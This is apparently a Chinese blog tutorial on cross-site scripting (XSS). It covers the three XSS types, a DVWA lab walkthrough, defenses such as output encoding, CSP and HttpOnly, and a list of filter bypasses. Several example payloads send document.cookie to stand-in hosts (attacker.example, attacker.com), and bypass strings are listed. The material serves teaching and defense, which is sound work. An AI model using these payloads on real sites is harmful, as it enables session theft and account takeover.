孙绿刚接手一个客户站点的安全审计时，我习惯性地打开控制台先扫了一眼前端报错。页面上一个不起眼的搜索框，输入单引号后突然弹出了JavaScript错误，再往前一步，URL里的参数被原样塞进了一个<script>块。说实话，那一瞬间我反而松了口气——这不是什么高深莫测的漏洞，这是最经典的XSS（跨站脚本攻击）。你可能听过这个名词，也知道它排名OWASP Top 10常年不掉队，但"听过"和"真正弄懂"是两回事。这篇我不打算写成教科书，就按我实际做项目、调漏洞的思路，把XSS的原理、三大类型和防御体系一层层掰开揉碎，顺便把我自己踩过的一些坑也交代清楚。适合刚接触Web安全的同学、写过不少业务代码但没系统梳理过前端漏洞的后端/前端工程师，以及需要给团队做安全培训的朋友。
1. 理解XSS的前提：浏览器为什么会把数据当代码执行
1.1 从一条"加了料"的搜索语句说起
先用一个最简单的场景切入。某天你打开一个普通的企业官网，在搜索框里输入：
code复制<script>alert(1)</script>
如果你看到一个弹窗，恭喜，你触发了反射型XSS。这里有个关键点很多人没想明白：搜索框的使命是把用户输入的内容原样展示出来，它是"数据"，但浏览器不这么想。 浏览器收到HTML响应后，会逐字解析标签、事件属性和脚本块，它并不区分哪些内容"本来"就是页面的一部分，哪些是用户输入的"数据"。
所以问题的根源在于：你的输入被拼接到HTML上下文之后，浏览器把它当成了可执行的代码。
这就好比你去一家餐厅，点了一份"牛肉面"，后厨把顾客留言"多放辣椒，谢谢"也原封不动贴在碗边，结果下一位顾客把这几个字当成"上菜指令"传了下去。数据与代码的边界一旦模糊，攻击就顺理成章。
1.2 浏览器干了哪些"傻事"
要真正理解XSS，你得站在浏览器的解析机制上看问题。浏览器拿到一个HTML文档时，会经历词法分析和语法解析，凡是出现在HTML标签、属性值、<script>块、事件监听器中的内容，都有可能被当作代码处理。攻击者要做的，就是把自己的payload（攻击载荷）送到这些"危险上下文"里。
举个例子，一个典型的PHP搜索页服务端代码可能是这样：
php复制<?php
$keyword = $_GET['keyword'];
echo '<div>您搜索的关键词：' . $keyword . '</div>';
?>
你看，$keyword被直接拼进HTML。如果你输入<script>alert(document.cookie)</script>，服务端返回的HTML就变成了：
html复制<div>您搜索的关键词：<script>alert(document.cookie)</script></div>
浏览器解析到<script>标签，直接执行。服务端没有对输出做任何编码，这就是XSS能够成立的根本机制。 理解了这一层，后面所有类型、所有防御手段，都是在回答同一个问题：如何阻止不可信数据进入可执行上下文。
1.3 为什么这么多年XSS始终杀不死
说句实在话，XSS比SQL注入更"顽固"。原因有三：
- 业务形态复杂。用户输入可能出现在HTML标签内、属性值里、JavaScript字符串里、CSS样式中，甚至URL路径里。不同的上下文需要不同的编码方式，很多开发根本没有区分这些。
- 前端框架降低了警惕心。Vue、React确实默认转义了插值表达式，但
v-html、dangerouslySetInnerHTML这类"逃生舱门"一旦打开，照样裸奔。 - 过度的"灵活性需求"。比如富文本编辑器允许用户上传带格式的内容，可你要放行
<b>、<i>，就很难精确地拒绝<img onerror=...>。安全不是"加几个过滤函数"的事，它是一个需要贯穿开发流程的设计约束。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. XSS的三大流派：反射型、存储型与DOM型的完整画像
2.1 反射型XSS：一次性攻击的伪装大师
反射型XSS的特点非常鲜明：恶意载荷附着在URL中，服务端不存储用户输入，只是反射到响应页面里。 攻击者必须诱导受害者点击构造好的恶意链接，你说它是"一次性"的，但它最难防，因为它藏在一根看似正常的链接里。
举个我实际审计时遇到过的例子，某系统的登录失败提示页：
php复制<?php
$errMsg = $_GET['errMsg'];
echo "<script>alert('$errMsg')</script>";
?>
攻击者把errMsg参数构造成：
text复制');alert(document.cookie);//
浏览器实际执行的是：
javascript复制<script>alert('');alert(document.cookie);//')</script>
单引号闭合了原有字符串，分号结束当前语句，//注释掉后面的残余代码。这还只是弹cookie，真正的攻击者可以把这段脚本替换成fetch('https://attacker.com/steal?c='+document.cookie)，受害者点开链接，Cookie转眼间就到了攻击者手里。
我在真实渗透测试中最常使用的反射型触发点包括：搜索框、错误提示页、URL参数回显、路由参数回显。这些位置有个共同特征——用户输入和服务端输出紧挨着，没有任何中间件帮你做编码。
2.2 存储型XSS：危害最大的持久性毒瘤
如果反射型是一次性的烟花，存储型XSS就是在服务器数据库里埋了颗雷。攻击者把恶意脚本提交到评论区、用户昵称、个人简介、留言板等会被持久化并展示给其他用户的地方，只要有人访问相关页面，脚本就自动执行。
这里说一个真实事故。某社区平台允许用户修改"个人签名"，签名内容直接存入数据库，前端展示时拼接在个人主页的HTML里。攻击者把签名改成：
html复制<img src=x onerror="fetch('//attacker.example/cookie?c='+document.cookie)">
管理后台的审核员一打开该用户的个人主页，<img>加载失败，onerror事件触发，管理员的Cookie被带走。进一步地，攻击者利用偷来的管理员会话去修改全站配置，这种链式反应在真实攻击中并不罕见。2005年轰动一时的Samy蠕虫走的就是存储型XSS，几小时内50万用户自动关注了攻击者，传播过程完全不需要受害者做任何操作，脚本在后台自运行。
你要记住一个概念：存储型XSS的受害者是"所有访问该页面的人"，包括管理员，所以它的影响范围和破坏力三者中最大。
2.3 DOM型XSS：纯前端也能翻车
前面两种类型，漏洞逻辑都在服务端。DOM型XSS的根源却完全在前端JavaScript代码里，服务端返回的HTML本身是干净的，问题出在浏览器执行脚本时，把不可信数据写入了DOM。
典型危险写法包括：
javascript复制var hash = window.location.hash;
document.getElementById('content').innerHTML = hash;
var name = new URLSearchParams(window.location.search).get('name');
element.insertAdjacentHTML('beforeend', name);
document.write(location.search);
注意，DOM型XSS里的"输出编码"必须在前端层面完成。服务端无法判断JS代码里哪个变量来自URL，哪个来自localStorage，这也是很多WAF（Web应用防火墙）对DOM型无能为力的原因——流量里的payload看着人畜无害，到达浏览器之后才被一步步拼接成了危险代码。
我之前给某大厂做渗透测试时，他们一个活动页面的分享功能把location.search里的shareName直接渲染进innerHTML，从服务端日志看完全正常，但从浏览器调试器里看，<svg/onload=alert(document.domain)>已经被塞进了DOM。这类问题必须靠前端开发者自己绷紧"不可信数据不得进入innerHTML"这根弦。
2.4 一张表快速分辨三者
| 类型 | 存储位置 | 触发方式 | 是否涉及服务端 | 危害等级 |
|---|---|---|---|---|
| 反射型 | URL | 用户点击恶意链接 | 是（服务端输出未编码） | 中 |
| 存储型 | 数据库 | 任何用户访问含payload页面 | 是（数据存储后未编码输出） | 高 |
| DOM型 | 浏览器内存/DOM | 页面JS读取URL等不可信源并写入DOM | 主因在前端 | 中高 |
实际项目中，三者还可能结合出现。比如存储型XSS拼接DOM型漏洞，攻击者在数据库里存了一段"看似无代码"的文本，到了受害者浏览器里却被一段有漏洞的JS拼成了脚本，这种组合最难排查。
3. 本地环境复现一次完整XSS攻击：从写payload到窃取Cookie
学XSS不能光看理论，你必须在自己的可控环境里亲手打一遍。我用的工具组合是DVWA（Damn Vulnerable Web Application）+ 浏览器开发者工具，整个过程完全合法、完全离线。
3.1 搭建一个用于练手的靶场
DVWA是英国安全团队RandomStorm开发的PHP靶场，内置了反射型、存储型等多种漏洞场景。搭起来很快：
bash复制# 以Docker方式运行最省心
docker pull vulnerables/web-dvwa
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
浏览器访问http://localhost:8080，默认账号admin密码password，进入DVWA后先把Security Level拉到low，然后再切到medium试试绕过，最后再挑战high。这个过程能让你直观感受到：同一款漏洞，防御级别不同，利用难度完全不同。
DVWA的XSS页面分布在左边菜单的XSS (Reflected)和XSS (Stored)入口。DOM型在演示目录里也有对应题目，我建议从反射型开始。
3.2 反射型XSS的完整测试链路
打开XSS (Reflected)，输入框外面有一个URL参数name。首先输入正常内容如test，点击提交，URL会变成http://localhost:8080/vulnerabilities/xss_r/?name=test，页面回显"Hello test"。
这时候我手动构造一个URL：
text复制http://localhost:8080/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
按下回车，弹窗出现。但这只是最基础的一步。真实利用场景中，攻击者不会满足于弹窗，而是要偷Cookie，于是payload换成这个：
javascript复制<script>
var img = new Image();
img.src = 'http://attacker.example/collect?cookie=' + encodeURIComponent(document.cookie);
</script>
这段代码在受害者浏览器加载后，会向攻击者控制的域名发起一条带Cookie的GET请求。攻击者服务器只需在/collect接口记录cookie参数，一条完整的窃取链路就通了。
你也可以把这段代码压缩成一行，标准URL编码后塞进链接发给受害者。攻击者真正发送的链接往往经过多重编码和短链伪装，受害者根本看不出端倪。
3.3 存储型与Cookie窃取的连招
接下来进入XSS (Stored)页面，这里是一个留言板。我提交一条留言：
html复制<script>document.location='http://attacker.example/steal?cookie='+document.cookie</script>
提交成功后，任何用户打开留言板页面，浏览器就会自动跳转到攻击者服务器并带上Cookie。DVWA的存储型场景还会把管理员的会话保存在Cookie里，你只需要伪装成受害者管理员访问一次留言板，就能拿到高权限会话。
这里有一个安全关键点我必须强调：所有测试必须在你自己搭建的靶场或者获得明确书面授权的目标上进行。 对未授权第三方系统进行任何攻击性测试，轻则违反平台规则，重则触犯法律。我见过太多新手拿着payload去打别人的网站，结果把自己打进了"恶意的深渊"。
3.4 我在复现过程中踩过的坑
讲几个实操中特别容易出错的地方：
- 浏览器XSS过滤器的干扰。Chrome和Edge都内置了XSS Auditor（现已移除，但旧版本还保留），它有时候会拦截反射型payload。如果你在本地靶场里明明payload没问题却不弹窗，先看看控制台有没有"Blocked a reflected XSS"的提示，必要时把浏览器切到无痕模式或降低过滤强度。
- URL编码没做全。
<script>里嵌套&、;等字符时，URL编码不完整会导致服务端取到的参数被截断。记住要全部用encodeURIComponent编码。 - Cookie带HttpOnly标志怎么办。现代浏览器很多会话Cookie都标了
HttpOnly，document.cookie根本读不到。这时候就需要往前再走一步，用XSS配合CSRF，脚本去发起请求并实体操作，而不是只读Cookie。这也是我在测试中经常给团队强调的：XSS和CSRF经常联手作案，单独看某一个都低估了危险。
4. 防御的三个纵深：输入校验、输出编码、传输与策略
如果说漏洞原理是"知彼"，防御就是"知己"。我总结了一套三级防御层次，任何一层做实了都能挡住大多数攻击，三层叠加就是纵深防御。
4.1 输入侧：白名单远胜黑名单
很多开发者的第一反应是过滤<script>，这恰恰是我最不建议的做法。黑名单永远绕得开——<scr<script>ipt>、<svg/onload=alert(1)>、<img src=x onerror=...>、<a href=j a v a s c r i p t:...>，随便哪一条都能穿透简单过滤器。
更好的方案是按业务类型做白名单校验：
- 邮箱字段：只允许
^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ - 用户名：限定大小写字母、数字、下划线和长度
- 搜索框：视业务场景，可去掉
<、>、"、'等危险字符 - 富文本内容：走专门的富文本净化库（如前端用DOMPurify，后端用OWASP Java HTML Sanitizer），而不是自己写正则删标签
白名单校验还有个隐藏好处：它同时挡住了XSS、SQL注入和部分逻辑漏洞，因为你把输入的空间先锁死了。
4.2 输出侧：分上下文做编码是防御的灵魂
输出编码比输入校验更重要，因为它不依赖"我能不能想到所有攻击载荷"。原则是：所有动态输出的不可信数据，在进入HTML/JS/CSS/URL等不同上下文时，必须做对应规则的编码。
我整理了一份实操对照表：
| 输出位置 | 编码规则 | 示例 |
|---|---|---|
| HTML标签内容 | HTML实体编码 | < → <，" → " |
| HTML属性值 | HTML属性编码 | 双引号、单引号、空格都需要处理 |
| JavaScript字符串 | JS Unicode编码 | < → \u003c，" → \u0022 |
| URL参数 | URL编码 | 使用encodeURIComponent/urlencode |
| CSS上下文 | CSS十六进制编码 | expression → expression字面量编码 |
以Java侧为例，用OWASP Java Encoder做JS字符串输出的场景：
java复制// 在JavaScript上下文中正确输出
String name = request.getParameter("name");
response.getWriter().write(
"var name = '" + Encode.forJavaScript(name) + "';"
);
PHP场景则常用htmlspecialchars($input, ENT_QUOTES, 'UTF-8')，但它只适合HTML上下文。如果从PHP输出到<script>块里的变量，必须用json_encode配合JSON_HEX_TAG等选项，或者干脆避免这种输出模式。
4.3 HttpOnly、CSP和框架自带的护城河
HttpOnly Cookie：这是防御XSS窃取会话的第一道闸门。给Cookie打上HttpOnly标志后，document.cookie无法读取。Java中设置：
java复制Cookie cookie = new Cookie("sessionId", "xxx");
cookie.setHttpOnly(true);
response.addCookie(cookie);
但注意，HttpOnly只是断了一个利用路径，攻击者还能用XSS发请求、改页面、做键盘记录，所以它不能替代输出编码。
CSP（Content Security Policy）：这是我最看重的现代防御利器。一条响应头就能限制浏览器只加载你信任的脚本来源，即使payload注入了，也执行不了。
http复制Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
这条策略的意思是：所有脚本只能从同源加载，外部域名一律拒绝，object标签、base标签也封死。你可以进一步收紧成script-src 'self' 'nonce-随机数'，配合页面里每个合法的<script>标签都带上nonce值，非白名单脚本直接掉线。
我接手过一个历史遗留系统，老代码里全是通过字符串拼接的JS，短时间没法全改。我给项目分阶段推进：先上CSP的report-only模式收集违规报告，再逐步收紧策略，一个月内就能看到明显的拦截日志。CSP不能替代编码，但它给了你一个容错网。
框架的默认转义：现代前端框架默认情况下已经挡掉了大部分反射型的坑。React中{userInput}输出为文本；Vue中{{ userInput }}也是文本。真正出事的永远是你主动使用这些接口时：React的dangerouslySetInnerHTML、Vue的v-html、jQuery的.html()、老掉牙的document.write和innerHTML。我给团队定过一条铁律：能用框架原生插值，绝不使用裸innerHTML；必须渲染富文本时，先过DOMPurify再进页面。
5. 攻击者常用的绕过手法与防御者的反制思路
5.1 四个最常见的过滤器绕过姿势
如果你以为加了<script>黑名单就万事大吉，攻击者有一百种方式打脸你。我随手列几个我在攻防演练里见过的：
- 标签混淆：
<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<details open ontoggle=alert(1)>。这类事件类标签数量庞大，黑名单根本封不完。 - 编码绕过：
<script\x20>alert(1)</script>、javascript:alert(1)，HTML实体、正则对空白符、字符数字的解析差异都会被利用。 - 协议绕过：
<a href="javascript:alert(1)">点我</a>，如果你只过滤了http协议而忘了javascript:、data:，照样中招。 - 大小写与双写：
<ScRiPt>、<scr<script>ipt>，用于绕过大小写敏感和简单正则删除逻辑。
了解这些绕过的目的不是为了教你攻击，而是为了理解：把防御希望寄托在"封堵特征串"上，方向就是错的。
5.2 防御者应该如何反制
反制思路分四步：
- 采用白名单安全元素：如果业务允许富文本，定义一套最小安全标签集合（如
<b>、<i>、<p>、<a href>），其余一律剥离。这比"删掉危险标签"更可控。 - 使用成熟的净化库：前端DOMPurify，服务端OWASP Java HTML Sanitizer / Python的Bleach，这些库经过社区长期打磨，绕过成本远高于自研正则。
- 自动化扫描+人工审计结合：在CI流水线里接入开源扫描工具（如Arachni、ZAP），每轮构建都跑一遍反射型XSS检测，同时让安全人员对关键页面做代码审计。
- 安全测试前置：我见过太多项目是"功能上线，安全后补"，这种顺序下XSS基本躲不掉。把XSS自查题放进开发完成的Definition of Done里，才能从源头减少返工。
6. XSS自查清单：我从实战里沉淀的十余条经验
最后把这些年做审计和开发时反复用到的检查项统一整理一下。你可以直接拿这张清单当团队的安全评审模板。
6.1 代码层面的强制检查项
- 所有PHP/Java/Python/Node后端模板输出，是否对动态变量做了对应上下文的编码？尤其是HTML属性、JS字符串、URL三类，最容易漏。
- 是否有人调用
innerHTML、outerHTML、document.write、insertAdjacentHTML并塞入了用户可控内容？若有，立即替换成textContent或纯文本插值。 - Vue的
v-html、React的dangerouslySetInnerHTML是否做了使用登记？能不能减少到零？ - 富文本编辑器的内容在入库前和渲染前，是否经过白名单净化？
- Cookie是否全部设置了
HttpOnly和Secure？管理端会话是否额外缩短有效期？
6.2 运维与架构层面的检查项
- 全站是否配置了CSP？是否处于
report-only模式？违规报告是否有人查看？ - 是否禁止注入
<base>标签以防范基础路径劫持？ - 登录页、支付页等关键页面是否独立部署，避免与存在漏洞的低安全页面共用域？跨站脚本利用的一个前提是"同源"，把敏感页面隔离出去能显著降低风险。
- 线上日志是否记录XSS触发迹象？有个低成本小技巧：在响应头里加
X-XSS-Protection: 0只是禁用旧机制，真正有价值的日志是WAF和CSP上报的违规记录。
6.3 我在验收环节必测的几个payload
每次功能上线前，我都会在测试环境喂一轮经典样例，确保至少以下四种形式被有效拦截或无害化：
html复制<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">click</a>
如果这些全部被转义或拦截，基础的反射型风险就降了一大半。再把同样内容提交到评论区、个人资料页，跑一遍存储型链路。这轮手工冒烟测试花费不超过20分钟，但踩过雷的都懂它的价值。
做安全这件事，没有"一劳永逸"，只有持续的把一件件小事做扎实。XSS的老对手之所以活了这么多年，恰恰因为太多人在"代码和数据边界"这个最基本的问题上犯了迷糊。我自己处理过的漏洞里，有七八成不是攻击者多高明，而是开发者在某个能省则省的位置少写了一次编码。把这篇文章里提到的那几类上下文编码记牢，把CSP先开起来，把innerHTML的使用习惯改掉，你已经能挡住绝大多数脚本小子了。剩下的，就交给持续测试和代码评审慢慢补吧。